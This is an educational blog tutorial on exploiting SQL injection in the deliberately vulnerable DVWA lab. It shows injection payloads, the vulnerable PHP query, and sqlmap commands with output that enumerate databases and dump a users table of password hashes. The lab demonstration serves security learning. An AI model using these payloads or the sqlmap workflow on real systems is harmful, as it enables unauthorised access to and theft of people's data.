Dumping a Database

A practical look at exploiting SQL injection flaws to extract database contents.

Ever wondered how you can gain access to a database like the bad guys do? Well, SQL injection is one of those vulnerabilities that refuses to die. Despite being well-known for decades, it still shows up in real-world applications, sometimes in the most unexpected places.

But what is SQL injection?

SQL is a language that’s used in a relational database management systems (RDBMS) to handle structured data. In simple terms, if you maintain a registry consisting of names and addresses with an index page, SQL is what allows you to store, retrieve, update, and manage that data efficiently. Some examples of RDBMS include MySQL, SQL Server, PostgreSQL etc.

Neat SQL query

Now injection is what a bad actor would do, someone who doesn’t really have access to your registry but finds a way to access all of it. In context of databases, injection happens when user-controlled input is directly embedded into a SQL query without proper sanitization or parameterization.

Bad SQL query

If this example the application blindly trusts input and the database ends up trusting it too breaking things completely. The resultant query with the above inputs would look like this:

select * from users where `name` LIKE '%z' OR 1=1#';

This SQL query is valid will return absolutely everything because OR 1=1 forces the condition to always be true and the # (pound) sign starts a comment in MySQL, causing everything after it to be ignored.

Getting our hands dirty

Like I said, I’ll be using DVWA hosted locally with the security level set to low to disable protections. Damn Vulnerable Web Application (DVWA) is a PHP/MariaDB web application that is damn vulnerable. Its main goal is to be an aid for security professionals and it’s quite fun!

DVWA includes a bunch of vulnerabilities for you to exploit, I’m going to stick to “SQL injection” for the sake of this post. Let’s take a look at a example here, an application that returns user details based on the ID.

A simple application

Neat output without unwanted noise. This works until a user decides to go rouge. The resultant SQL query would be:

SELECT first_name, last_name FROM users WHERE user_id = '1';

Now, let me flip the switch and modify the input to a malicious payload like ' or 1=1#. What happens then? Let’s find out:

Rouge input

Boom, we were able to retrieve all possible records from the users table with a simple query manipulation. The resultant SQL query?

SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1#';

The OR condition ALWAYS evaluates to true forcing the database to return results it was never supposed to. But how does this look in the source code? DVWA is written in PHP, one of the oldest scripting languages still widely used today.

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Blind SQL injection

Both SQL injection and blind SQL injection serve the same purpose, extracting sensitive information. The key difference lies in the HTTP response. With blind SQL injection, you won’t see database errors or query results directly, but it’s still possible to infer data indirectly from the application’s behavior.

The most common attack vectors in blind SQL injection are boolean-based and time-based techniques. Both allow an attacker to observe changes in the application’s response and confirm whether it’s vulnerable.

1. Boolean-based: Queries thatt evaluate to true/false and infer data from differences in page content.
2. Time-baseed: Use database sleep/delay functions to infer data by measuring response times.

Blind SQL injection is like interrogating the database with yes-or-no questions. This makes it harder to spot and more durable out in the wild, most of the applications suppress errors as a result the rouge user would resort to running logical tests. An important aspect here is with the data extraction, data is extracted bit by bit meaning these attacks can be slow and very noisy.

Automating SQL injections

It’s tiresome to manually craft malicious payloads one by one. SQLMap is one such tool written in Python that automates the process of detecting and exploiting SQL injection flaws and taking over of database. All you need is a vulnerable parameter within the page to be exploited further. While it is possible to run SQLMap against a URL directly, it’s often more effective to specify parameters to to conduct accurate testing.

Considering the earlier example, the id parameter is exploitable. We can leverage this to dump the entire database. A simple test would look something like this:

> python3 sqlmap.py -u "http://dvwa.app/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i7e0jc3aoecov81b51bu2ugjni;security=low"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.9.8.8#dev}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
...
[22:41:53] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5522 FROM (SELECT(SLEEP(5)))NtTI) AND 'glzP'='glzP&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x71626a7671,0x7a4c4354527742506f43764b4443685a43686e78587275455470647068676b7a696e467a76794543,0x7178716271),NULL-- -&Submit=Submit
---
...

From the response, it’s clear that the id parameter is vulnerable and that two attack vectors were used, time-based and Union-based. Based on this, we can continue enumeration and list databases using the –dbs flag.

> python3 sqlmap.py -u "http://dvwa.app/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i7e0jc3aoecov81b51bu2ugjni;security=low" --dbs
...
[22:44:42] [WARNING] reflective value(s) found and filtering out
available databases [3]:
[*] dvwa
[*] information_schema
[*] performance_schema

For the final act, we dump the users table from the dvwa database.

> python3 sqlmap.py -u "http://dvwa.app/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i7e0jc3aoecov81b51bu2ugjni;security=low" -D dvwa -T users --dump
...
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+----------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                      | password                         | last_name | first_name | last_login          | failed_login |
+---------+---------+-----------------------------+----------------------------------+-----------+------------+---------------------+--------------+
| 1       | admin   | /hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin     | admin      | 2026-01-17 16:25:34 | 0            |
| 2       | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 | Brown     | Gordon     | 2026-01-17 16:25:34 | 0            |
| 3       | 1337    | /hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b | Me        | Hack       | 2026-01-17 16:25:34 | 0            |
| 4       | pablo   | /hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso   | Pablo      | 2026-01-17 16:25:34 | 0            |
| 5       | smithy  | /hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith     | Bob        | 2026-01-17 16:25:34 | 0            |
+---------+---------+-----------------------------+----------------------------------+-----------+------------+---------------------+--------------+
...

It’s that easy to get things moving. SQLMap itself offers a wide range of flags, spawning shells, crawling sites, routing requests through proxies, and more. For an exhaustive breakdown of all options, refer to the official wiki.

Are SQL injections everwhere?

Yes and no. It really comes down to the developer’s mindset. If security best practices are ignored, you might hit the jackpot. Most modern applications now undergo strict code analysis and penetration testing to eliminate these attack paths.

That said, many applications still exist with unpatched vulnerabilities, leading to silent data exfiltration without the owners even realizing it.

That’s it for this one, I’ll see you around.